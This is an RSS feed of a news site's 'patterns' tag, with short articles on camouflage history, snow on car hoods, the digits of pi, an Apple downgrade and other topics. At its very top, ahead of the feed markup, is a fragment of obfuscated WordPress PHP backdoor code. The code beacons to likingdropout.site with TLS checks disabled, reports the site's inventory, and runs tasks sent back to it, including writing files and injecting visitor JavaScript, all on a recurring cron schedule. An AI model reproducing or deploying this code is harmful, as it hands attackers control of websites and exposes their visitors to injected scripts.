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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); patterns – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 11 Nov 2018 23:14:14 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png patterns – Brief News https://briefnews.eu 32 32 These Wind Patterns Explain Why California’s Wildfires Are So Bad https://briefnews.eu/these-wind-patterns-explain-why-californias-wildfires-are-so-bad/ https://briefnews.eu/these-wind-patterns-explain-why-californias-wildfires-are-so-bad/#respond Sun, 11 Nov 2018 23:14:14 +0000 http://briefnews.eu/these-wind-patterns-explain-why-californias-wildfires-are-so-bad/ The Camp Fire, Hill Fire and Woolsey Fire share an origin in the jet stream, which has produced extreme winds that are spreading the flames and hampering firefighting efforts.


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]]> https://briefnews.eu/these-wind-patterns-explain-why-californias-wildfires-are-so-bad/feed/ 0 How patterns that saved lives became the height of fashion https://briefnews.eu/how-patterns-that-saved-lives-became-the-height-of-fashion/ https://briefnews.eu/how-patterns-that-saved-lives-became-the-height-of-fashion/#respond Mon, 30 Jul 2018 02:30:03 +0000 http://briefnews.eu/how-patterns-that-saved-lives-became-the-height-of-fashion/

Camouflage continues to be a fashion favourite for young people. My 13-year-old son is permanently clad in a variety of green and brown blobs but 100 years ago these patterns were a matter of life and death on the Western Front.

Camouflage was originally deployed in the First World War when the basic principles of disruptive patterns were developed.

Many people assume that camouflage means to merge with a landscape but of course soldiers advance, tanks move and the disruptive patterns with their contrasting dark and light shades are meant not to hide but to break up the outlines of men and machines.

Think striped tigers rather than chameleons and indeed a tiger-stripe military pattern has proved enduringly popular.

In the First World War the disruptive pattern reached a dizzying high with so-called Dazzle schemes painted on warships to confuse submarines attacking them.

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These bold geometric patterns in contrasting colours distorted the usual silhouette of a ship and were the idea of Lieutenant Commander Norman Wilkinson, a marine artist.

“The primary object of this scheme,” he explained, “was not so much to cause the enemy to miss his shot when actually in firing position but to mislead him, when the ship was first sighted, as to the correct position to take up.”

Thus making it difficult for a U-boat to decide on the exact course of the vessel to be attacked. The US navy enthusiastically took up the concept and by the end of the First World War had painted 1,200 merchant vessels in Dazzle patterns.

These were the ships that brought vital supplies of food and ammunition to the UK despite a deadly blockade by U-boats.

The Royal Navy was a little more cautious in its final assessment of Dazzle saying that its primary purpose was to raise morale, making merchant seamen feel a little safer as they crossed the Atlantic.

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A model in camouflage and soldiers on the Kuwait-Iraq border (Image: ALAMY / GETTY)

Today in the Imperial War Museum you can see a whole array of model ships painted in a variety of Dazzle patterns by female artists from the Royal Academy to test which were the most effective.

Modern artists were amazed by the brightly painted ships appearing in ports and made their own works of art inspired by them.

In fact the very first appearance of camouflage as a young fashion pattern occurred in 1919 when art students put on a Dazzle Ball at the Royal Albert Hall clad in outlandish military and nautical costumes.

Camouflage first appeared on the Western Front in 1915 when French artists called camoufleurs were recruited to paint artillery batteries with disruptive patterns to fool aerial reconnaissance photographs.

When these disguised guns rolled into Paris, avant-garde artist Pablo Picasso declared: “It is we who created that!”

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He was partly right as at least one modern artist, Andre Mare, painted massive artillery pieces with fractured shapes which he later recorded in beautiful Cubist watercolour sketches.

Britain quickly followed, establishing its own camouflage section in 1916 and among the many artists it recruited was Winnie the Pooh illustrator Ernest Shepard. At first it was just military machinery that was decorated with disruptive patterns.

Khaki was thought to be an effective enough camouflage for infantrymen but soon soldiers in trenches were dabbing their steel helmets with light splodges of colour to break up their appearance as they peered over a parapet.

German stormtroopers took this further with helmets painted in bright disruptive patterns. It would be another 20 years before the first disruptive pattern uniforms appeared.

It was the German army that took inspiration from nature to create textile patterns copying the effect of sunlight through oak tree foliage or bark peeling off a plane tree.

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Camouflage often features on runways (Image: GETTY)

In the Second World War the Americans devised a “frog-skin” pattern imitating amphibian coloration that was worn by US marines. It had two reversible tones, brown for beaches and green for jungles.

The British went back to artists for their input. The Denison smock devised for paratroopers was created in a unit headed by Oliver Messel, an architect and theatrical set designer.

It featured brown brush strokes over green shapes. A variation of this was later resurrected for the classic disruptive pattern material (DPM) worn by the British Army until recently.

Surrealist artist Roland Penrose, famous for introducing Salvador Dali to the London art world, was recruited to teach the British Home Guard how to make their own camouflage.

To enliven his lectures he included a photograph of his naked girlfriend covered in camouflage paint and netting. Sometimes his ideas were not so welcome when he suggested soldiers use local materials.

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“By some who live in country districts,” said Penrose, “cow-dung has been advocated and for those who have the courage to use it, it can be highly recommend in spite of its unpleasantness, since it retains good colour and texture when dry.”

Camouflage became ever more ambitious as home territory was vulnerable to bombing raids with whole factories disguised by disruptive patterns painted on them.

With the end of the Second World War camouflage went out of fashion until the jungle fighting in Vietnam encouraged the US army to introduce their classic Woodland pattern for combat uniforms.

The alternative black and green tigerstripe pattern was first worn by Vietnamese troops but became such a hit that elite US forces claimed it and even had swimming trunks made out of the attractive pattern.

Britain finally followed suit in the early 1970s with DPM replacing khaki as the standard combat attire. By now scientists not artists were the chief source of new camouflage patterns but they didn’t always get it right.

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DAZZLE SCHEME: Gunboat HMS Kildangan in 1916 (Image: GETTY)

When the US army devised a desert warfare pattern in the 1980s it featured fragments of rock against a two-tone brown background. Dubbed “chocolate chip” it was worn during the first Gulf War but proved unpopular among US troops who thought it looked jokey.

Quickly replaced by a more soldierly looking pattern, the surplus uniforms were passed on to Iraqi troops, thus establishing a hierarchy of camouflage between the victors and the defeated.

And camouflage became popular as a street fashion, worn by punks and hip-hop musicians. It soon made its way on to the catwalk with top designers, such as Versace and Jean Paul Gaultier, taking inspiration from military patterns.

And so it remains today with camouflage clothing proving enduringly popular around the world. A method of patterning devised to save lives in the First World War is now as likely to be found on children’s pyjamas as on the battlefield.

● Tim Newark is the author of Camouflage (Thames & Hudson) and gives a free lecture on the history of camouflage at the National Army Museum, London, on London, on Friday August 3.

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The federal government will launch a pilot project using artificial intelligence to monitor social media in search of trends that may indicate imminent spikes in suicide rates.

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]]> https://briefnews.eu/feds-to-search-social-media-using-ai-to-find-patterns-of-suicide-related-behaviour/feed/ 0 An analyst downgraded Apple stock because of ‘historical patterns’ (AAPL) https://briefnews.eu/an-analyst-downgraded-apple-stock-because-of-historical-patterns-aapl/ https://briefnews.eu/an-analyst-downgraded-apple-stock-because-of-historical-patterns-aapl/#respond Tue, 19 Dec 2017 12:51:49 +0000 http://briefnews.eu/an-analyst-downgraded-apple-stock-because-of-historical-patterns-aapl/ tim cookRick Wilking/Reuters

  • Apple is coming out of a strong final quarter in 2017, and sales of its iPhone X flagship seem to be going well.
  • However, the firm’s stock has historically taken a hit following the launch of “tick” iPhone models, like the iPhone 5 and iPhone 6.
  • Most analysts believe that the radical differences of the iPhone X as a product might create a so-called “supercycle,” but an analyst at Instinet downgraded Apple’s stock on the premise that it will still collapse following its historical trend.

Apple has received a rare downgrade of its stock.

Jeffrey Kvaal, an analyst at Nomura’s Instinet brokerage agency, sent out a note this morning warning about Apple’s supposed slowdown, and moved the company’s stock rating from a “Buy” down to “Neutral.”

“We argue that the stock’s gains for the iPhone X supercycle are in the late innings,” the note reads. “We believe unit growth, if not quite ASP growth, is well anticipated by consensus and a historically full multiple.”

And that’s not all; Kvaal also noted that Apple’s services arm, albeit being a growing business, still only accounts for about 15% of the company’s overall operations. And, most of all, it’s dependent on hardware sales.

The iPhone X is in a tricky position, for two main reasons.

For one, it has come in what would typically be a “tock” year for Apple (where the revised iPhone 4S, 5S, and 6S have launched), but it instead launched alongside the iPhone 8 and 8 Plus (and not 7S and 7S Plus, as might have been expected), and this alone might have influenced the usual pattern of Apple’s stock.

Then there’s the fact that the iPhone X is a radically different product, which Apple billed as “the future of the smartphone.” This is why analysts and investors started to talk about a “supercycle,” where the bulk of customers coming from the older iPhone 6 and 6S — alongside smaller batches of iPhone 7 and Android phone owners — were predicted to move en-masse towards the iPhone X.

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But Kvaal begs to differ. “The shares fell 41% after the iPhone 5 launch and 27% after the iPhone 6. The shares obviously recovered, though only after approximately 20 months in each case,” the note reads.

“We argue this cycle is not different; we do not expect the services business or tax reform to be sufficient to flout the historical pattern.”

Other analysts, on the other hand, are mostly bullish about Apple and its stock. The reaction to the iPhone X launch sent Apple watchers into a frenzy, and so far Apple’s stock has continued to perform well.

On the latest earning call for 2017’s latest quarter, CEO Tim Cook said that the firm was “firing on all cylinders,” and the reported recent overrun of early production issues with the iPhone X reinforced the image of a healthy company.

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POOR sleep could make you more portly, new research has shown.

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]]> https://briefnews.eu/is-sleep-making-you-gain-weight-sleep-patterns-linked-to-your-waistline/feed/ 0 A Danish town has been using Bluetooth sensors to track traffic patterns https://briefnews.eu/a-danish-town-has-been-using-bluetooth-sensors-to-track-traffic-patterns/ https://briefnews.eu/a-danish-town-has-been-using-bluetooth-sensors-to-track-traffic-patterns/#respond Mon, 24 Jul 2017 15:28:19 +0000 http://briefnews.eu/a-danish-town-has-been-using-bluetooth-sensors-to-track-traffic-patterns/

Enlarge / Who needs connected cars when almost all of us drive around emitting Bluetooth signals? (credit: dion gillard @flickr)

One big promise of the connected car revolution has been the potential to help clear up traffic problems. When every vehicle and traffic signal is connected to the cloud, municipalities and local governments should be able to have a constant view of the traffic on their streets, aware of any problems almost instantly. The catch? It’s going to take a long time before there are sufficient vehicle-to-infrastructure (V2I) or even vehicle-to-vehicle (V2V)-equipped cars on our roads. But the city of Aarhus in Denmark has shown you don’t need to wait for V2x to finally penetrate the market to start doing that; all you need are outdoor Bluetooth sensors.

For some time, Aarhus has been using Bluetooth sensors to collect traffic pattern information. As people drive around, emitting Bluetooth signals, the sensors log their movements around the city. In doing so, their traffic patterns can flag and reveal problems that the city needs to fix.

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]]> https://briefnews.eu/a-danish-town-has-been-using-bluetooth-sensors-to-track-traffic-patterns/feed/ 0 A success coach explains how to reprogram the mental patterns keeping you from building wealth https://briefnews.eu/a-success-coach-explains-how-to-reprogram-the-mental-patterns-keeping-you-from-building-wealth/ https://briefnews.eu/a-success-coach-explains-how-to-reprogram-the-mental-patterns-keeping-you-from-building-wealth/#respond Tue, 28 Mar 2017 17:42:31 +0000 http://briefnews.eu/a-success-coach-explains-how-to-reprogram-the-mental-patterns-keeping-you-from-building-wealth/ Jen Sincero credit Brandon Soder.NEWBrandon Soder

Have you ever told yourself, “Money doesn’t grow on trees?”

Stop.

Jen Sincero, success coach and author of the book “You Are a Badass at Making Money: Master the Mindset of Wealth,” these kinds of unhelpful thought patterns, many of them common beliefs that we “unconsciously accept as truth,” can hold you back from building wealth.

She writes that these thought patterns can be culturally or socially induced, or a product of deep unconscious emotions that manifest themselves where you least expect them. You may be in denial about how much money you have, or how much you want to make, or you may be deluding yourself into thinking you’re reaching your monthly budget when you’re not.

“Awareness is the first key step in breaking the spell of your not-so-awesome financial ‘reality,'” writes Sincero. As a solution, Sincero recommends following the steps below to identify, question, and rework any negative or unhelpful thoughts you may be subconsciously harboring, which are standing in the way between you and making money:

  • Become aware of your limiting thoughts and beliefs.
  • Question and investigate them.
  • Rewrite them.
  • Say it out loud and proud.

For instance, Sincero spelled out how she would change two common, damaging money beliefs: “Money can’t buy happiness” and “I’d rather focus on having fun than making money.” She writes:

1. Unhelpful thought: ‘Money can’t buy happiness.’

Question: What makes me happy?
Answer: Hanging out with the people I love, grilled cheese sandwiches, being loved and loving others, drinking beer, having my own business etc.
Question: Does having money help me achieve any of these happy things?
Answer: Yes.

Rewritten thought: Money supports my happiness.

2. Unhelpful thought: ‘I’d rather focus on having fun than making money.’

Question: Is it fun when you make money?
Answer: Yes, when I make it it’s fun, but what I have to do to make it isn’t fun.
Question: Would it be worth your time, during your one and only life, to find or create an occupation that is fun?
Answer: Yes.

Rewritten thought: I make making money fun.

You can give her mental reframing strategy a shot yourself with some more common, unhelpful thoughts Sincero suggests:

  • “You can’t be rich and spiritual.”
  • “Money isn’t important. People are.”
  • “You can’t make money by doing X (whatever you love to do).”

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]]> https://briefnews.eu/a-success-coach-explains-how-to-reprogram-the-mental-patterns-keeping-you-from-building-wealth/feed/ 0 This Is Why Snow Makes Those Patterns On Your Car's Hood https://briefnews.eu/this-is-why-snow-makes-those-patterns-on-your-cars-hood/ https://briefnews.eu/this-is-why-snow-makes-those-patterns-on-your-cars-hood/#respond Wed, 15 Mar 2017 07:11:35 +0000 http://briefnews.eu/this-is-why-snow-makes-those-patterns-on-your-cars-hood/

Since a lot of the country is about to be pummeled by snow and possibly die from overexposure to milk and bread, I figured this would be a good time to explore an interesting little phenomenon that lives at the intersection of cars and snow: those funny patterns snow makes when it lands on your car hood. What’s happening there?

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I’ve seen this happen on many cars, as have manyothercar–noticing Earthlings. Assuming we’re not in some crop-circle situation, where otherwise intelligent aliens are picking the absolute stupidest way to communicate with us, I’d say whatever is going on is the result of some fairly simple physics.

The picture up top there is of one of the many often-immobile cars in my driveway, right after a light dusting of snow this weekend. The car hadn’t been run in at least two weeks, so whatever is going on, it doesn’t have anything to do with residual heat from the engine, at least not at this point.

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Now, I can tell, based on the shapes formed in the snow, that what I’m looking at here is related to the system of support struts on the underside of the hood. What I’m not entirely certain of is why the snow seems to be melting quicker on areas delineated by these supports.

If the car has been sitting outside for a week or two without being run, you’d think everything would be pretty much the same temperature, right? It’s not, though, so something must be going on.

I noticed a likely related, but different pattern on a car that had been driven much more recently:

So, let’s think this through. For the first car, that Passat, if we look at the underside of the hood, we can get some clues about what’s going on:

So, you can easily see how the patterns of the underside hood supports match up with the patterns of snowmelt on the hood. Also, in that inset picture of the Jetta with no outer hood skin, you can see that the hood supports are U-shaped in cross-section.

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One theory may be that it’s not the greater mass of metal that is somehow the factor, but rather the airspace inside those U-shaped channels. Air is a very good insulator, so perhaps the outer hood metal skin gets cold, but on the areas over the pockets of air, it retains a bit of heat, since the air pocket is a good insulator.

For the picture of the Ford Fusion that had been run recently, the pattern seems to match the thermal insulation under the car’s hood. Where the regularly-spaced dots are, the insulation is thin, so it can be secured to the hood. The snow is over the areas of the most insulation, which is shielding the snow from residual engine heat.

This ‘air and insulators are doing it’ theory needed to be run by someone smarter than me, so I reached out to Jalopnik’s tame physicist, Dr. Stephen Granade, to see what he made of all this:

You’re absolutely right, Jason: the air trapped in the under-hood support is acting as an insulator. Air that isn’t moving around is a great insulator, because the atoms in air are far apart and heat energy doesn’t move quickly through it. Metals have a high thermal conductivity — they pass heat through very quickly — because their atoms are much more tightly packed. It’s why metal is used for pots and pans. The heat spreads through them quickly so that you don’t get some spots that are hotter than others, potentially scorching your meal.

The insulating air in the under-hood support makes parts of your car hood change temperature more slowly than other parts. The parts of the hood over the supports won’t heat up as fast when the engine is running, and they won’t cool down as fast when the snow begins.

Weirdly, that means that your hood might make different patterns depending on the situation. If you’ve just started driving your car and it begins to snow, then the parts of the hood over the supports will be insulated from the engine heat. Because they’re a bit cooler than the rest of the hood, you’ll get a bigger buildup of snow on those parts than on the bare metal parts of the hood. However, if your car’s been parked and the temperature drops enough for it to begin to snow, or your hood’s absorbed some of the heat from the feeble, feeble winter sun, then the bare metal parts of the hood will cool faster. You’ll get a bit of melting happening over the hood supports. Because of this, you can end up with a hood with more snow over the supports, or with more snow over the bare metal parts of the hood. The two patterns are like Flash and Reverse Flash, only with less confusing time travel continuity.

(I said that this was because air insulates. That’s part of the story. But also, the air will trap some of the heat energy and slowly release it back into the hood. It won’t store a lot of heat energy. It has low thermal mass, the measure of how much heat a substance can soak up before it changes temperature. But it’ll store some. The air will also insulate the bottom part of the support from the cold air outside the hood. The bottom support will release its heat back to the top part of the hood. Modeling heat flow gets tricky, which is why professionals use sophisticated software.)

The results will likely be inverted depending on how warm your engine is: if the car has been sitting and is cold, the melt-lines will be over the air pockets in the struts. If the car has been running, the air pockets or insulated areas will be more likely to have snow, and the melty areas will be the parts with less behind them.

Look at that! Another mystery solved! What a glorious age we live in.

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After thousands of years of trying, mathematicians are still working out the number known as pi or “π”.

We typically think of pi as approximately 3.14 but the most successful attempt to calculate it more precisely worked out its value to over 13 trillion digits after the decimal point.

We have known since the 18th century that we will never be able to calculate all the digits of pi because it is an irrational number, one that continues forever without any repeating pattern.

In 1888, the logician John Venn, who also invented the Venn diagram, attempted to visually show that the digits of pi were random by drawing a graph showing the first 707 decimal places. He assigned a compass point to the digits 0 to 7 and then drew lines to show the path indicated by each digit. 

Venn did this work using pen and paper but this is still used today with modern technology to create even more detailed and beautiful patterns.

But, despite the endless string of unpredictable digits that make up pi, it’s not what we call a truly random number. And it actually contains all sorts of surprising patterns.

Normal not random

The reason we can’t call pi random is because the digits it comprises are precisely determined and fixed. For example, the second decimal place in pi is always 4. So you can’t ask what the probability would be of a different number taking this position. It isn’t randomly positioned.

But we can ask the related question: “Is pi a normal number?” A decimal number is said to be normal when every sequence of possible digits is equally likely to appear in it, making the numbers look random even if they technically aren’t. By looking at the digits of pi and applying statistical tests you can try to determine if it is normal. From the tests performed so far, it is still an open question whether pi is normal or not.

For example in 2003, Yasumasa Kanada published the distribution of the number of times different digits appear in the first trillion digits of pi:

Digit/Occurrences

  • 0/99,999,485,134
  • 1/99,999,945,664 
  • 2/100,000,480,057 
  • 3 /99,999,787,805
  • 4/100,000,357,857 
  • 5/99,999,671,008 
  • 6/99,999,807,503
  • 7/99,999,818,723 
  • 8/100,000,791,469 
  • 9/99,999,854,780 

Total 1,000,000,000,000

His results imply that these digits seem to be fairly evenly distributed, but it is not enough to prove that all of pi would be normal.

Every sequence

We need to remember the surprising fact that if pi was normal then any finite sequence of digits you could name could be found in it. For example, at position 768 in the pi digits there are six 9s in succession. The chance of this happening if pi is normal and every sequence of n digits is equally likely to occur, is 0.08%.

This block of nines is famously called the “Feynman Point” after the Nobel Prize-winner Richard Feynman. He once jokingly claimed that if he had to recite pi digits he would name them up to this point and then say “and so on”.

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Other interesting sequences of digits have also been found. At position 17,387,594,880 you find the sequence 0123456789, and surprisingly earlier at position 60 you find these ten digits in a scrambled order.

Pi-hunters search for dates of birth and other significant personal numbers in pi asking the question: “Where do I occur in the pi digits?” If you want to test to see where your own special numbers are in pi, then you can do so by using the free online software called Pi birthdays.

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]]> https://briefnews.eu/pi-may-look-like-a-random-figure-but-its-full-of-hidden-patterns/feed/ 0 4Chan sleuths use ‘flight patterns’ to track down & capture Shia Labeouf’s anti-Trump flag https://briefnews.eu/4chan-sleuths-use-flight-patterns-to-track-down-capture-shia-labeoufs-anti-trump-flag/ https://briefnews.eu/4chan-sleuths-use-flight-patterns-to-track-down-capture-shia-labeoufs-anti-trump-flag/#respond Sat, 11 Mar 2017 23:45:44 +0000 http://briefnews.eu/4chan-sleuths-use-flight-patterns-to-track-down-capture-shia-labeoufs-anti-trump-flag/

An anti-President Donald Trump flag livestreamed from a secret outdoor location has been stolen by online sleuths, who painstakingly monitored flight and weather patterns to track down the symbol of the “He Will Not Divide Us” movement.

Marshalled by Hollywood actor Shia Labeouf, the “He Will Not Divide Us” project is a response to Donald Trump’s election as the 45th president of the United States. 

The project has become famous for its troubled livestreams, where followers turn out at different locations to chant “He Will Not Divide Us” into a camera.

The crew’s February stream outside the El Rey Theater, Albuquerque, was abandoned after shots were fired in the area. LaBeouf was also arrested at one exhibition for punching a man who made a comment about Hitler into the live feed.

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On March 8, the decision was made to livestream a flag emblazoned with the group’s message in an “unknown location” for the duration of Trump’s presidency. 

But in a matter of hours, saboteurs figured out Labeouf’s flag hideaway was in a Tennessee field, despite only having views of the sky to go on.

Footage shows how the flag was replaced by a Trump T-shirt and a “Make America Great Again” hat. 

Comments on Reddit, 4Chan and Twitter suggest the flag’s capture was aided by online sleuths studying “plane contrails” and even star patterns. 

Screengrabs from a 4Chan message board also suggest weather forecasts were also monitored.

Another, and perhaps the most telling giveaway of the flag’s location, was a recent picture of LaBeouf in a Greeneville, Tennessee cafe.

While social media has gone wild over the bizarre game of “capture the flag,” not everyone is convinced of the investigative methods. 

“The feat is impressive enough without having to pretend that stars and contrails contributed,” wrote one Reddit user, adding: “In the end it was good old-fashioned luck and manpower that accomplished the capture.”

Another posted: “The planes may have helped a little, but the stars and sh*t are bulls*t”.

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